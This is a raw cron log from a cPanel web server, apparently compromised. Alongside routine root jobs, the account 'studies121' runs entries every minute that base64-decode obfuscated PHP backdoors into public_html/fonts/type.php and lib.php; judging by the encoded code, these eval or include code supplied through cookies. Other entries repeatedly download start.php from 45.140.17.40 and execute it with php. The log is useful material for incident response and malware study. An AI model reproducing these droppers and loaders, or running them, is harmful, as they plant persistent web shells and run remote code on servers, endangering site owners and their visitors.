Sep 22 03:50:01 ip-184-168-122-23 CROND[8792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:51:01 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:51:01 ip-184-168-122-23 CROND[8953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:51:01 ip-184-168-122-23 CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:51:01 ip-184-168-122-23 CROND[8957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:52:01 ip-184-168-122-23 CROND[9072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:52:01 ip-184-168-122-23 CROND[9076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:52:01 ip-184-168-122-23 CROND[9074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:52:01 ip-184-168-122-23 CROND[9075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:52:01 ip-184-168-122-23 CROND[9077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:53:01 ip-184-168-122-23 CROND[9238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:53:01 ip-184-168-122-23 CROND[9239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:53:01 ip-184-168-122-23 CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:53:01 ip-184-168-122-23 CROND[9243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:54:02 ip-184-168-122-23 CROND[9447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:54:02 ip-184-168-122-23 CROND[9446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:54:02 ip-184-168-122-23 CROND[9450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:54:02 ip-184-168-122-23 CROND[9452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:54:02 ip-184-168-122-23 CROND[9453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:55:02 ip-184-168-122-23 CROND[9596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:55:02 ip-184-168-122-23 CROND[9595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:55:02 ip-184-168-122-23 CROND[9599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:55:02 ip-184-168-122-23 CROND[9597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:55:02 ip-184-168-122-23 CROND[9598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:55:02 ip-184-168-122-23 CROND[9600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:56:01 ip-184-168-122-23 CROND[9748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:56:01 ip-184-168-122-23 CROND[9750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:56:01 ip-184-168-122-23 CROND[9752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:56:01 ip-184-168-122-23 CROND[9751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:56:01 ip-184-168-122-23 CROND[9753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:57:01 ip-184-168-122-23 CROND[9878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:57:01 ip-184-168-122-23 CROND[9879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:57:01 ip-184-168-122-23 CROND[9880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:57:01 ip-184-168-122-23 CROND[9881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:58:01 ip-184-168-122-23 CROND[9994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:58:01 ip-184-168-122-23 CROND[9997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:58:01 ip-184-168-122-23 CROND[9996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:58:01 ip-184-168-122-23 CROND[9998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:58:01 ip-184-168-122-23 CROND[9999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:59:01 ip-184-168-122-23 CROND[10201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:59:01 ip-184-168-122-23 CROND[10203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:59:01 ip-184-168-122-23 CROND[10202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:59:01 ip-184-168-122-23 CROND[10204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:00:01 ip-184-168-122-23 CROND[10321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:00:01 ip-184-168-122-23 CROND[10323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:00:01 ip-184-168-122-23 CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:00:01 ip-184-168-122-23 CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:01:01 ip-184-168-122-23 CROND[10546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:01:01 ip-184-168-122-23 CROND[10547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 04:01:01 ip-184-168-122-23 CROND[10549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:01:01 ip-184-168-122-23 CROND[10550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:01:01 ip-184-168-122-23 CROND[10551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:01:01 ip-184-168-122-23 CROND[10552]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10552]: starting 0anacron
Sep 22 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10567]: finished 0anacron
Sep 22 04:02:01 ip-184-168-122-23 CROND[10697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:02:01 ip-184-168-122-23 CROND[10699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:02:01 ip-184-168-122-23 CROND[10700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:02:01 ip-184-168-122-23 CROND[10701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:02:01 ip-184-168-122-23 CROND[10702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
